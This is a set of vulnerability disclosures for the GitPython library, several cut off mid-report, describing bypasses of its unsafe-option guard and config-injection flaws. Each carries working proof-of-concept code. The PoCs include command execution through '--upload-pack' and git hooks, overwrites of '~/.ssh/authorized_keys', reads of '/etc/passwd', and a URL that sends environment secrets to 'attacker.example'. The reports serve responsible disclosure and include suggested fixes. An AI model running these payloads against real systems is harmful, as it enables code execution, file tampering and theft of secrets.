LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

## Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ## Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ## Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") # /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ## Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ## Affected Versions `<= 3.1.53` ## Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ## Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ## Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ## Proof of Concept ```python # Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) # Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ## Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ## Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ## Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ## Proof of Concept ```python # attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ## Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/

## Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ## Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ## Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ## Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) # control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ## Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @manus-use

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ## Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ## Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ## Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but i

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`,

### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co

Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed 